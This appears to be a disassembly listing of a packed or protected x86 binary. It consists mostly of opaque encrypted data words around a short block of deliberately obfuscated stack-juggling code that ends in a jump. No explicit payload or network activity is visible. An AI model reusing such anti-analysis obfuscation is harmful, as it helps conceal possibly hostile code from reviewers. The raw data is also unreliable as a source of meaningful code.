		dd 6E8A774Bh, 1D7AC9B6h, 0D546438h, 0F2B94B7Eh,	4754A5AEh
		dd 38D40837h, 562A558h,	6BB88708h, 6B781448h, 3A0577D3h
		dd 5FF55160h, 0CE1F2C52h, 0B8A571AFh, 0D154F3CFh, 428FB8C4h
		dd 72D3013Ah, 53h, 62A558D8h, 3D7A5FB8h, 81ACF14Eh, 3A3B8BDFh
		dd 3B416E47h, 5190D300h, 0A5ECE03h, 37473A3Bh, 6EB291FAh
		dd 0B883F6B3h, 525FDD79h, 0D16E112Ch, 0FD2E618Ch, 0A6F62BEh
		dd 3B237725h, 0E7D6473Ah, 525FE5B9h, 0B8C11F2Ch, 0B2B268D7h
		dd 2FA59Ah, 58890000h, 201F6CA5h, 0A571B0F3h, 3BBDCD5Fh
		dd 0A388473Ah, 3A3BA1C9h, 3B595447h, 63DCA001h,	0C75F7A20h
		dd 72810877h, 0F6CCC03Eh, 0B24B1352h, 3405779Ah, 0A1C6F946h
		dd 0CE1F2854h, 985471AFh, 473EBA02h, 67B493E7h,	0D0053E4Ah
		dd 0F337B1B8h, 808CEC05h, 0E93A0573h, 216B96CAh, 0BA5C6C00h
		dd 0FAB1473Eh, 0A3795EBBh, 473EBA97h, 0E2ED337Ah, 1572D1BDh
		dd 87D47318h, 0C0ED3864h, 155C81BEh, 69D2A7F4h,	0BA4C9C10h
		dd 0AA1473Eh, 170D6BD6h, 72BFD867h, 0CEED3E0Dh,	3687192h
		dd 3EBA4169h, 0DBF9B447h, 0EF5AFE73h, 0A6AE1751h, 358EE630h
		dd 388588D4h, 30000000h, 5A75357h, 376DC969h, 3A05779Fh
		dd 0EA1F64DDh, 9B574FE3h, 0FB192256h, 62B1A2A2h, 644C9705h
		dd 0FAB14918h, 0B6323FA9h, 0D4350E7Eh, 5B94B3C7h, 0A7C61734h
		dd 77BC1679h, 0EBE93A05h, 0DE4EABF8h, 49185049h, 3B648F2Eh
		dd 0B691F851h, 67962677h, 83CCC5FDh, 0FD3A1256h, 69D2BA8Fh
		dd 9AC6E536h, 0FB122D5Fh, 0D7E3B99Eh, 3ACDAEBDh, 69CA8A73h
		dd 2A08107Ah, 86C1CBF6h, 7BD8A061h, 4AB87C1Ch, 3192F716h
		dd 9F79F81Bh, 7761BF23h, 71D2377Ch, 0FBB1DC67h,	0CDAE5DAFh
		dd 65926B42h, 17305906h, 3864A7C6h, 940443D9h, 0A209C38Ch
		dd 0A558D34Bh, 6E6BB862h, 0B6EA5921h, 3A05771Eh, 9AF55160h
		dd 54F3CFF7h, 25E2h, 0A5582800h, 0CD5FB862h, 473A3BBDh
		dd 5AF3F88h, 52113AF9h,	0C298130Eh, 877C75Fh, 9AB2633Bh
		dd 27A5h, 0A5588900h, 7A5FB862h, 6781E189h, 4FDDD1B7h
		dd 473AE13Bh, 409CDFDEh, 3AE192A6h, 6F378847h, 877C75Fh
		dd 9AB2633Bh, 1C27525Fh, 4970ACCFh, 19ABF843h, 473EBA83h
		dd 0CFBFFCDDh, 0DC002370h, 0FC391355h, 416CB18Eh, 93A6D613h
		dd 0FB1C5FECh, 3071CABEh, 8DA8FD4Ah, 7B030C57h,	1B6EABCCh
		dd 6CB0F320h, 0D36A1459h, 2C4F9CABh, 773B8EDh, 0B2C6EB38h
		dd 0CD344489h, 374087ABh, 320B73B1h, 0B08FF04Dh, 0CE014063h
		dd 59DA97A7h, 2DFF51EFh, 27000000h, 0E93A0577h,	4EABF8EBh
		dd 183D0DDEh, 8BFD3A49h, 8B56CB0h, 4B6ABB84h, 0C42DDB08h
		dd 43FC80A4h, 1F2BC126h, 0F2411834h, 0A07A65BBh, 96A27A5Fh
		dd 7B473A3Bh, 0B7C5EC30h, 0FA4BA236h, 82C55FA7h, 47533451h
		dd 7770913h, 342F2977h,	0A1398AEFh, 34BA87A5h, 0A5779AC6h
		dd 4918FBFEh, 0E9A5CCEFh, 562A558h, 9AC68108h, 77D36BCAh
		dd 51603A05h, 2D525FF5h, 274AC21Eh, 0B254F3D0h,	56h, 62A55898h
		dd 3D7A5FB8h, 8EADFE4Dh, 3B608852h, 2895473Ah, 0F81DE661h
		dd 0A2E57647h, 6EABCC0Fh, 26FE2221h, 87157A5Fh,	473A3B73h
		dd 0F4192256h, 5F2B88A9h, 1A60A1E0h, 67BDF82Dh,	0A27A5FCFh
		dd 473A3B96h, 0F14A3E7Bh, 384762BEh, 9AB2530Bh,	31A5h
		dd 0A5588900h, 0CD5FB862h, 473A3BBDh, 5F865C5Fh, 49FD897Ah
		dd 8665024Bh, 8778A5Ah,	0B9F84335h, 0C227B21Dh,	3A3B1E2Ah
		dd 77B8F347h, 0C9143902h, 525FFB8Bh, 0BCC51B28h, 321179D0h
		dd 68A5A2F3h, 0D9621B24h, 0C0D39911h, 0F5D375ABh, 97473EF3h
		dd 76061E5Ah, 0F7DA2CDh, 0BDE2E734h, 0F0B4C458h, 5259473Eh
		dd 3EF07682h, 0CC109B47h, 6D8AD98Ah, 1CDE00BFh,	0A1C6F549h
		dd 0CA98A07Ch, 3E7D411Ch, 0CA3743D9h, 0D3DA411Ch, 5FC8428Dh
		dd 6DDE8DE6h, 0B9E76DAFh, 0BD599E5Fh, 577D36Bh,	0AED0DD3Ah
		dd 0F3214C91h, 4B485123h, 0BE10641h, 473A3BFFh,	0A9459B12h
		dd 0F3CFF79Ah, 9AE12E54h, 0E73D78ADh, 613Eh, 305C5900h
		dd 5F35C917h, 5F989FE6h, 0F72DC3D5h, 42A7E8E5h,	757B8F1Dh
		dd 1F9E473Ah, 7A5F2DC1h, 0A3F04B3Dh, 65B56780h,	88473A3Bh
		dd 1D2DFF25h, 28473A3Bh, 9EFDCC5Fh, 6A8F5CB5h, 3A5F66B2h
		dd 0FC208B47h, 5FAC7645h, 2C525FC7h, 62AFCE1Fh,	0C9F02C17h
		dd 3A0577C6h, 9AB223FBh, 36A5h,	0E65F8900h, 8DF341Fh, 0D2045892h
		dd 5F0ED41Bh, 3B96A27Ah, 307B473Ah, 0EB3FEDECh,	0D6473A3Bh
		dd 5488B3D9h, 5F05D1D2h, 0FB523D7Ah, 2C70B390h,	3B087790h
		dd 5F9AB263h, 532CABE6h, 0F22E55BAh, 0A74C5B7h,	1BA9FA3Dh
		dd 473E5ABDh, 0CBBDFADFh, 76262370h, 473F5922h,	6CA5E4D7h
		dd 72FF2522h, 0F54E3EF6h, 54F38794h, 57B8E407h,	7B8F1D42h
		dd 9E473F59h, 0D4B8C11Fh, 29DA3A6Bh, 0E0EFBDDAh, 75491D77h
		dd 0E5CA2F46h, 1DB3E337h, 0E3A91641h, 0A9E80B58h, 0A558DB6Bh
		dd 7443744h, 0B5C597D6h, 1C473A3Bh, 593E1DB2h, 4156EB28h
		dd 3A899FABh, 0F83B7247h, 7A5F1DB9h, 3A3B96A2h,	0EC307B47h
		dd 525F01D9h, 0ABCA1B28h, 7404C75h, 4B48515Fh, 0DC003Fh
		dd 1E2D525Fh, 0C41488CDh, 29473A3Bh, 4DBA4382h,	6B95555Eh
		dd 66BA3F1h, 0D354F2DCh, 3Dh, 62A5587Bh, 0A8672005h, 294052FDh
		dd 88AEFAAAh, 0E207473Ah, 3E20548Eh, 0AEF2B986h, 74E65F16h
		dd 392804F5h, 0D9FF22Eh, 473A7AFDh, 5FC19D10h, 3B0877C7h
		dd 0A59AB263h, 34h, 0A27A5F89h,	473A3B96h, 0EAEC307Bh
		dd 5FF6ACF3h, 3A3BBDCDh, 865C5F47h, 525FC75Fh, 0BCC51B28h
		dd 2E1374D3h, 3A3B2A7Eh, 0A3ECCF47h, 0FD386DD6h, 9AB20FA7h
		dd 0DD3A0577h, 4390AFD0h, 3B215B20h
		dd 930B07C3h, 27DC384Dh, 12EDBFD8h, 0FB49180Fh,	7ADDCA0Ah
		dd 0CB0A76F0h, 5CA350A0h, 2112613Bh, 0A8034F03h, 0FD46367Bh
		dd 5A682B9Ch, 0BE8ADA9Ah, 0E2D7ECDh, 694E91CFh,	0B3E15E2Ch
		dd 45330676h, 7BBA85F4h, 3059EB38h, 0AA327323h,	810B294Fh
		dd 1A62AFC6h, 517FC821h, 22E3DB6Dh, 0AFCC1947h,	183C61DAh
		dd 67150F69h, 8CB5DCh, 0A4F11647h, 0DC2B69D6h, 0Fh, 2D525F06h
		dd 9EB7651Eh, 0B948B45h, 778E10D5h, 0C3E83D06h,	105D8EB9h
		dd 618EDF68h, 0B4F92A19h, 3287DCAh, 529FCC7Bh, 0A2CF1C27h
		dd 0F03D6EDDh, 696FBC8Bh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	5071h
		mov	[esp], ebx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		push	ecx
		mov	ecx, 67D95778h
		add	ecx, 23906CECh
		shr	ecx, 5
		shl	ecx, 2
		dec	ecx
		neg	ecx
		push	esi
		mov	esi, 26736971h
		sub	esi, 170B515Ch
		add	esi, 4574D4Dh
		and	esi, 0BFE5948h
		shr	esi, 4
		sub	esi, 49775032h
		add	esi, 60D1D01Dh
		add	ecx, esi
		pop	esi
		mov	ebx, ecx
		pop	ecx
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		pop	dword ptr [ebp+8]
		mov	ebp, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	ebx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_502B27
; ---------------------------------------------------------------------------
		db 7Fh
		dd 4C77E87Ah, 293418B8h, 0FFC50306h, 0EC6369E0h, 0EA9F4B36h
		dd 46A49E4Fh, 0ADFDAE23h, 284ECD1Ah, 271F9F37h,	0BDDC6A1Ch
		dd 90B98E22h, 5536152Ch, 0AC80D866h, 7D31232h, 424C6327h
		dd 7BE4664Ch, 64973C68h, 62F49934h, 2165011Dh, 768D110Bh
		dd 0F9EB275Ah, 76024C06h, 1E3BA61Fh, 0AE832h, 646F0000h
		dd 0F5BD72B1h, 33137EFBh, 13E9h, 0F619BD00h, 1CE73B22h
		dd 86627234h, 0B8D62068h, 622B7811h, 8130B15Eh,	616CC6h
		dd 64CA8100h, 0BF1C0685h, 9304862h, 5043F781h, 0BE90930h
		dd 85000000h, 0BB096EFBh, 0FF4FC1B5h, 36FFF299h, 5BC3B70Fh
		dd 9BF681B8h, 1AF38161h, 8012EC34h, 0EB81E5E5h,	2F544205h
		dd 0B9666060h, 0F28B3DC8h, 61D3B561h, 3E16EB81h, 0F604E91h
		dd 840FF8B7h, 3, 61D38B66h, 0EE953h, 0E3FF0000h, 76303233h
		dd 0A2CB06F5h, 6D4E6BCDh, 8D0F068Fh, 5,	0D1D98166h, 4EE8309h
		dd 10E8h, 50D74900h, 0A0C4430h,	856C6872h, 0C71B45F9h
		dd 8158FC68h, 1EFh, 7F850F00h, 0FFFFFFFh, 1983h, 14E900h
		dd 723B0000h, 576B54CFh, 0E4DD47C4h, 37732F19h,	0B20B1408h
		dd 0DE80A06h, 0AC000000h, 0B10E96Ch, 0CE39F60Eh, 102D1742h
		dd 0AE9h, 76072600h, 486C7DC2h,	5843AA2Ah, 9800Fh, 800F0000h
		dd 3, 81DFBF0Fh, 61F5C0h, 1B96600h, 56F62B4Ah, 0FF5AD18Bh
		dd 0DA800634h, 81665F87h, 812769E3h, 591DB0C7h,	8880F01h
		dd 0F000000h, 280h, 8187B200h, 0A24B02F7h, 0D9BA6652h
		dd 32F7818Bh, 666D29CDh, 33D2D381h, 850F57h, 8F000000h
		dd 0CA8B3004h, 5E3CD281h, 0EE83671Dh, 51ADBA01h, 4E4E112Ch
		dd 7EF2814Eh, 81392B4Bh, 0FF9EB4FEh, 9C850FFFh,	0FFFFFFFh
		dd 78Eh, 61606000h, 61CAB70Fh, 379E8D8Dh, 6A0629h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0FBB08BC3h, 0F18D89ABh, 6A062233h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0B98EC356h
		dd 0C73055A7h, 222D3185h, 5F9C06h, 0EDBF6600h, 0E585C76Bh
		dd 62230h, 3000000h, 221AA585h,	0B1BD8906h, 0FF062224h
		dd 222ADDB5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 0AA98E5FEh, 0EDA6DDA9h, 0FFC0BF0Fh
		dd 22206595h, 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1904h, 0C3504000h, 929EE75Dh, 0BBB81528h, 6A4E14C0h
		dd 7595FF00h, 8B062230h, 2F7AEBC0h, 0BAF8E855h,	64B21132h
		dd 788360CAh, 6A767FDDh, 601FBA2Fh, 0AD3AF38Eh,	527C9827h
		dd 54F3D087h, 3DE28AEFh, 6B811153h, 0E1EE0562h,	0E93EB987h
		dd 0E7FABF82h, 8EBFB665h, 0F06A0150h, 882F68ABh, 99A8A40Fh
		dd 0E27CC865h, 8ABC08EFh, 0CEE74DD1h, 5F3D36E0h, 0D9CCBE65h
		dd 4DBAB54Ah, 485EA2C2h, 7809ADFCh, 0F3992E73h,	0C3492FCFh
		dd 54AC3008h, 6DFC88B6h, 0F81CDB0h, 3B8D8D27h, 66062939h
		dd 0F60F18Bh, 681h, 830F00h, 2B000000h,	220F2DBDh, 8D896106h
		dd 62233F1h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Dh,	90C35646h, 5EAE91B4h, 9C2DEBFCh, 78D0FA5h, 0F000000h
		dd 189h, 85C7F900h, 6222D31h, 5AE4h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 15h, 42C35545h, 0A6BE6076h, 6126AB63h
		dd 8E8h, 0D8A7C600h, 523D5B14h,	9D85897Eh, 5E062202h, 15B99589h
		dd 85C70622h, 62230E5h,	0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 78C35545h
		dd 89B5FFB5h, 0E8062206h, 0Dh, 0C530378Bh, 0D3D0A74Eh
		dd 66B47F2Bh, 0F59D890Fh, 5E062202h, 206595FFh,	6A0622h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1D0424h, 52420000h
		dd 33D792C3h, 0DB3AE906h, 0F1268D8h, 88h, 0D6BF0F00h, 95FF006Ah
		dd 6223075h, 19EBC08Bh,	26A84B93h, 0D7C1ED5Ch, 0BD501A18h
		dd 0D1C1DF1Bh, 6FD0733Ah, 4F8F8299h, 398D8DDDh,	8906293Ah
		dd 2221B185h, 0F18D8906h, 0F062233h, 689h, 95BD0B00h, 8006221Ah
		dd 85C746F2h, 6222D31h,	59B4h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 18h, 64C35040h, 0EAD0883Ah, 1D27BF66h
		dd 0D181BF66h, 30E585C7h, 622h,	6A0000h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1A0424h, 56460000h, 4687E8C3h
		dd 2CDC8D5Ch, 1E5B5FFh,	6A0622h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 1B0424h, 52420000h, 2D1545C3h, 704B3B96h
		dd 85E38090h, 2AD958Bh,	95FF0622h, 6222065h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 0F8C35242h, 0BA669D22h
		dd 6A6CD4h, 307595FFh, 0C08B0622h, 0EF1319EBh, 694B9213h
		dd 0EBDD5BBh, 100E9D70h, 20DFB426h, 871D82A7h, 0E8FD1665h
		dd 0Fh,	75F5AF94h, 57EC68F2h, 0D14D63CFh, 89DC9C0Eh, 2212A5B5h
		dd 85235906h, 62202D9h,	724AC181h, 6E80000h, 11000000h
		dd 8C641CF7h, 0BF5AFCF4h, 1C65h, 0EE8h,	4A3C0900h, 96643E3Ah
		dd 422482ACh, 8A3FFF85h, 318B5BD7h, 11E9h, 0FF5C7800h
		dd 22E99E4Ch, 636F7A64h, 44876ADh, 0EE815C4Dh, 0F19B749h
		dd 81C78B66h, 404F3BC6h, 0FE978h, 9C920000h, 0BB337A20h
		dd 0B3FC4627h, 301F4AEBh, 0C4C681FDh, 0B25BA4CEh, 8B3189CEh
		dd 6DE981D1h, 2338CFC9h, 2215D995h, 69C18106h, 0BA38CFC9h
		dd 3452AD9Bh, 1EF81h, 850F0000h, 0FFFFFF96h, 1A6D8509h
		dd 8D8D0622h, 6293BEEh,	14E9h, 698A0400h, 0D2A33744h, 9FF87342h
		dd 18CE6FEFh, 2156A81Bh, 0F18D89E4h, 89062233h,	220589BDh
		dd 3185C706h, 5406222Dh, 6A00005Eh, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0D9B4C352h
		dd 0E585C762h, 62230h, 0E9000000h, 11h,	2B775DC3h, 0F75BA6A3h
		dd 57FC4A36h, 1525DF5Fh, 0A5B5FF0Dh, 6A062234h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 15042444h, 43000000h
		dd 0ED00C353h, 6DD8D89h, 0B5290622h, 6223329h, 206595FFh
		dd 6A0622h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
		dd 57470000h, 6BEB92C3h, 0BABF663Ch, 418589DCh,	6A062201h
		dd 7595FF00h, 8B062230h, 991CEBC0h, 3B06E5E4h, 0FE770A5Bh
		dd 86C1DA45h, 79E43D0Dh, 8D9D6915h, 0C3D42D73h,	0E96363A5h
		dd 0CDh, 3933D11Ch, 0CA459CD7h,	0B6E1C8C3h, 0A7ACABDAh
		dd 4592B395h, 0B395A1F4h, 0ECABDA00h, 915D20A7h, 0B1F46BB2h
		dd 20752096h, 6BB79B55h, 92A5BCF2h, 7594A196h, 0B799603Ah
		dd 99BD329Fh, 9CB2E9B5h, 0A3F292A5h, 0EF7695ACh, 4E0097B1h
		dd 9FA5B4F9h, 7B6B5C00h, 8A924AF0h, 0F352D000h,	0F653F545h
		dd 0D6D979A3h, 0E3AFF144h, 7D41F445h, 92B000D7h, 756BBF97h
		dd 0BFCF60FDh, 93BCF996h, 207D20B2h, 0ABF79B57h, 9EBD9492h
		dd 9DBCE3B2h, 899BE0CEh, 8F9D728Fh, 0B4EEA9FDh,	0E1B6F66Dh
		dd 0ED7293BCh, 0D00097B3h, 0CD43F1B6h, 0F0A8h, 47000000h
		dd 0E3129D74h, 5E99E0h,	5 dup(0)
		dd 14E2E900h, 0DD680000h, 0E906293Eh, 0FFF945F3h, 293FF968h
		dd 45E9E906h, 0E468FFF9h, 0E9062940h, 0FFF945DFh, 29421468h
		dd 45D5E906h, 9E68FFF9h, 0E9062942h, 0FFF945CBh, 29433368h
		dd 45C1E906h, 0D868FFF9h, 0E9062943h, 0FFF945B7h, 29447368h
		dd 45ADE906h, 5C68FFF9h, 0E9062945h, 0FFF945A3h, 2946DA68h
		dd 4599E906h, 0CE68FFF9h, 0E9062947h, 0FFF9458Fh, 29490068h
		dd 4585E906h, 0E668FFF9h, 0E9062949h, 0FFF9457Bh, 294ADE68h
		dd 4571E906h, 1168FFF9h, 0E906294Ch, 0FFF94567h, 294E1168h
		dd 455DE906h, 1868FFF9h, 0E906294Fh, 0FFF94553h, 42AD96E7h
		dd 0F6112E5Dh, 6E79C6C9h, 84EF5821h, 3D54F39Bh,	9CE22BCDh
		dd 2F5B44AFh, 0C0C8F910h, 59236C87h, 3B5C87EEh,	13065961h
		dd 0B316BC41h, 0F4281366h, 28525F58h, 89DA6915h, 95E62B6Ah
		dd 1A4665B6h, 4192ADDFh, 8CE7602Ch, 2E1D6EABh, 0A4EB98F2h
		dd 3B4A8243h, 0ED7DAFEAh, 307DA2B7h, 1AACF04Fh,	4918CB15h
		dd 0A6A5D522h, 31A8C75h, 0A604FCB6h, 0A3003967h, 0FE2F6ED9h
		dd 18B41E2Eh, 3091E041h, 48DD03B9h, 51EA929Ah, 0D5AEE10Ch
		dd 0D40BE755h, 0A188D4F9h, 407CC547h, 50B6EC7Fh, 0C51587E0h
		dd 28411862h, 82FF5F85h, 574BD17Eh, 33h, 64AB58FFh, 41666903h
		dd 0E4D74918h, 31D1E5B7h, 0A22F4118h, 0C3C9C646h, 7DF02478h
		dd 584BD1D1h, 0CAh, 0CBF88A7Bh,	62B38CFCh, 2667BA43h, 5F07DF05h
		dd 0C61A2952h, 2576D1BBh, 94B98608h, 0D90A3547h, 2751E894h
		dd 57BCDD1Ch, 0B801D0EEh, 0E2B2E01Ch, 473AD3D6h, 232C703Bh
		dd 3ADFB361h, 1D265647h, 84BFCDF2h, 0F13E3557h,	0BDCB0498h
		dd 59544918h, 0EE352E0Eh, 2457A489h, 0D42FF927h, 0B94F3DA4h
		dd 0F69895F2h, 8DF13E49h, 95A6C8BEh, 66B7EF93h,	12229Bh
		dd 58E3AA00h, 0CC7B0031h, 34137CA5h, 9AA5D4DDh,	3404E73h
		dd 95DE9EE8h, 0E335AE9h, 7BA4CF7Ch, 0D6DB320Dh,	8B729DA6h
		dd 5EA3EEEh, 4B0F4113h,	380777DBh, 199CE0D1h, 45F61870h
		dd 0CB2C6FA9h, 9E236E6h, 5DCF473Ah, 473A090Dh, 3774CDE0h
		dd 9BB9F847h, 0AB58A278h, 0C3942BDEh, 827B5BEFh, 0D1D6995h
		dd 41A6D99Bh, 1862B8ABh, 6C009549h, 4118155Ch, 1567B369h
		dd 238A4118h, 0D7E3B91Eh, 3A411815h, 98F13073h,	15D1F9B3h
		dd 69444118h, 0A9F75038h, 15BCC09Ch, 87424118h,	0E1AEB61h
		dd 0E939568Dh, 9CD1459Bh, 394BD0EAh, 0A9h, 3A0577E1h, 8DBAC4E9h
		dd 37968C58h, 18B473Ah,	9AE22F46h, 63107CA1h, 8F0AFB1Ch
		dd 0DA0837A4h, 0C064DA12h, 677FD13Bh, 0A8F43714h, 5898F3A9h
		dd 36854918h, 0B906FDDFh, 8B00CCA0h, 0D8D54F3Ch, 0DC558BB4h
		dd 137BB8D1h, 97FCDD34h, 0EB01A32Eh, 0F9AB3B6Fh, 4B7CFED1h
		dd 0C37CCBB4h, 18DB4E8h, 9928B442h, 0E435EF94h,	110665h
		dd 44FF8E00h, 0A897E42Dh, 102F5041h, 86C1C8F9h,	0EF5C226Fh
		dd 89C2A284h, 0E22F4605h, 5F40AB98h, 0CAF71E29h, 0E76E79C2h
		dd 4CE1A92h, 6F234113h,	360777B7h, 0ACC70645h, 0C72E1963h
		dd 27525F4Fh, 0D3B9C01Ch, 0B84598D2h, 28D6C8D2h, 0F2F18A67h
		dd 8ADB1A1Bh, 0E97F44Dh, 8CD08C0Bh, 0D8632950h,	3A0972BFh
		dd 88B7C4E9h, 0BBD9185Bh, 15285758h, 7499D863h,	97E45527h
		dd 45367BA8h, 6384C706h, 0E35A6E3Eh, 0FCBF473Ah, 0AD6BFA0h
		dd 4AFF8A87h, 9AC6F942h, 0DB3C8370h, 69D6B9F6h,	1DBF924h
		dd 4918F0F6h, 83B806FFh, 0F172EF00h, 224776A3h,	4A9BA4D5h
		dd 0AD96E62Bh, 77E73D78h, 0E35792A5h, 60AFA49Fh, 0E0469507h
		dd 4B7B4B5h, 71BEB5D7h,	25C28418h, 5C5F4AD3h, 0B58EFE3Bh
		dd 1C27555Ah, 0E615F46Ah, 213809F1h, 101Bh, 3651EA93h
		dd 0AAC58209h, 0C22D1A65h, 7893ACDDh, 91F84737h, 0F09ED799h
		dd 83F73853h, 1464ADC4h, 0ADDFC02Bh, 0E7F07B92h, 137BE535h
		dd 0A2420841h, 1F2C525Fh, 0D24AAFCEh, 473A3B86h, 0D51C406Bh
		dd 0D4F9CA7h, 0EF720756h, 3A3BED3Dh, 6AAD0047h,	695ECE2Bh
		dd 4E49183Ah, 0CE33046Fh, 0DA8AB9C1h, 41183A8Eh, 0C2144863h
		dd 0E008E411h, 1541183Ah, 9FAB41A6h, 7241183Ah,	0D9FF83Bh
		dd 4F3A3A12h, 75CEBEFBh, 0A7F4533Ch, 44104584h,	4B7E3930h
		dd 0A2E503CEh, 45AFD9AFh, 3A0Ah, 0AB581000h, 0F6690364h
		dd 6749180Bh, 94E63354h, 2B6869B7h, 198BE25Dh, 41186BF3h
		dd 7C9DA6D6h, 6B758517h, 15984118h, 0ED9B84CFh,	4C3E0152h
		dd 5900000Fh, 0C2132C5Ch, 58A17DA3h, 690364ABh,	49212F84h
		dd 2D1A60ADh, 16733AF7h, 7A7514ADh, 0B04221E2h,	66888000h
		dd 0C8095796h, 6F86C1CBh, 0BCE15A22h, 3B5CA350h, 85F4561h
		dd 84E5C84Fh, 0D33A0577h, 70A59EEEh, 6D1E5F14h,	2F6E8DDEh
		dd 0E93552CAh, 931A454Ah, 6699E5E7h, 0DE2172E9h, 0EEBh
		dd 0C6211A63h, 7A95B2D9h, 92FD4A35h, 863DCADh, 0A1C87707h
		dd 206EA749h, 0B3C7C823h, 44347D94h, 0DDAF90FBh, 0B7C00B62h
		dd 1379D5E5h, 92923841h, 1E2D525Fh, 3B1438C2h, 2D26473Ah
		dd 0FBEB81E6h, 8E49212Fh, 7A7F3A9h, 0D4BA4113h,	3A072677h
		dd 0B9F42D73h, 1E2953A0h, 0E595E2F7h, 0AAF63566h, 2542FD8Fh
		dd 71C2CC0h, 0BAF14113h, 0F5024766h, 7567BD8Ah,	44D8317Eh
		dd 4F310657h, 0B9857538h, 1AEF901Eh, 0E613609h,	0A4E90000h
		dd 3C4F709Bh, 0D4BBE40Fh, 66131C77h, 18DB2DDh, 1DDF2B42h
		dd 729DAAD4h, 0E70E3D4Dh, 1A75CEBAh, 0B5DC6715h, 2B7F2D4Ah
		dd 0CE411379h, 5771808h, 0B8C4E93Ah, 5BA65E8Fh,	0D777EA1Dh
		dd 8F4251F3h, 0C8000008h, 96A27A5Fh, 7B473A3Bh,	3545D730h
		dd 0D8473A3Bh, 964D8FD5h, 0DA0B3847h, 6D3F589Bh, 49212F76h
		dd 92B1DAE7h, 93F93653h, 2C5041A8h, 0D5B9F613h,	41132A76h
		dd 4113073Dh, 0EA0F540Fh, 31068532h, 0B7436A4Fh, 0EF901F81h
		dd 0CC72CDDEh, 4400000Dh, 0BAE70E39h, 161B72D1h, 8EB3DA69h
		dd 0F82940FBh, 685EA996h, 3F4F88h, 75D2B8E9h, 0D863151Ah
		dd 43FC80B1h, 0C4582128h, 411378B4h, 776DB559h,	0C4E93A05h
		dd 0A65E8FB8h, 77EA1D5Bh, 4251F3D7h, 7FAh, 0F7503875h
		dd 855987A6h, 3A3BC4E8h, 0B6FDF647h, 2FE4DB51h,	0E2C94921h
		dd 0A17BA085h, 41130699h, 1B44317Ch, 7CD22797h,	5527429Eh
		dd 0EE9E83EAh, 5DCF3455h, 4113BE0Dh, 7697CDE0h,	0F1165D16h
		dd 42FD8F8Ch, 0BF5F4C1Eh, 73304F31h, 87F73807h,	9486BB8h
		dd 8FD64161h, 8699AAEFh, 0D27h,	0A65DEAFh, 0BEC97605h
		dd 0D6310E71h, 4CA7A0E9h, 0E50C3B43h, 0E4AAE385h, 77030C67h
		dd 870A1C8h, 0A1EBD43Fh, 0F3844FA6h, 13781139h,	0D64E0441h
		dd 0E93A0577h, 5E8FB8C4h, 1866B3A6h, 0EC0CF52Bh, 0F3D7A8A5h
		dd 7500D51h, 58150000h,	690364ABh, 49212FC3h, 15628736h
		dd 0A4B5DC67h, 0C4482AE3h, 469A561Ch, 0F54C513Bh, 0C586D9F7h
		dd 1176A7E6h, 84C97604h, 5D613B59h, 6F4113EBh, 0E5CA2F74h
		dd 0E1A08D1Ch, 0FF2505D9h, 31347E2Dh, 0AA5C5F4Fh, 0EF904C82h
		dd 8C330E1Fh, 400000Ch,	7AA7CE79h, 0D6DB3211h, 4E739AA9h
		dd 0B8E9003Bh, 281E69D6h, 0C07F0F48h, 351278A9h, 98A3D5DAh
		dd 33C4071h, 841861E8h,	41137F74h, 772DF599h, 50AB1C05h
		dd 10B6B213h, 2064B464h, 2C89473Ah, 60A3E25Dh, 0B6D9D633h
		dd 5E2E4B89h, 37784E5h,	0B1DA1744h, 0E3224192h,	0DF468BDh
		dd 0BCA9A4EBh, 970C51F3h, 1A000006h, 1B28525Fh
		dd 0D375ABCAh, 473A3B84h, 1176BDB6h, 8BC97604h,	2FDBD646h
		dd 0B3144921h, 0C01FA0F5h, 55EE9E1Dh, 5853CE12h, 90F5DA3Fh
		dd 131ECC1Ch, 0DA8A2141h, 41131E8Eh, 0ED144863h, 3643A49Fh
		dd 89D4F942h, 7507084Bh, 501BC470h, 0FB3AF1D4h,	4CB9AAAAh
		dd 13C188D0h, 0F4E6D41h, 42DFADEAh, 13C19EAAh, 0F9387341h
		dd 0DDE6B6DBh, 424F31B5h, 0ED2C1765h, 8F46091Dh, 0B6899AEFh
		dd 0BA3h, 8ED9622Bh, 224DFA81h,	5AB592FDh, 0F01B2455h
		dd 6980BFCFh, 68165F01h, 0FB8FB0DBh, 8CFC254Ch,	255758B3h
		dd 6F08F31Ah, 137E6DBDh, 5ACA8041h, 0E93A0577h,	5E8FB8C4h
		dd 8FDC6711h, 0FD2E1D62h, 0A48AEE0Bh, 0BC90E861h, 3BB5C557h
		dd 5558473Ah, 0A19AE20Fh, 0DBB9B446h, 8A1C51F3h, 0B7000001h
		dd 0B12E99CEh, 0A56B3A6h, 3A05777Ah, 1C1BECE9h,	0F90A460Eh
		dd 5F2D5488h, 47AC8DE4h, 3A3885D5h, 1F456847h, 0A0B906FDh
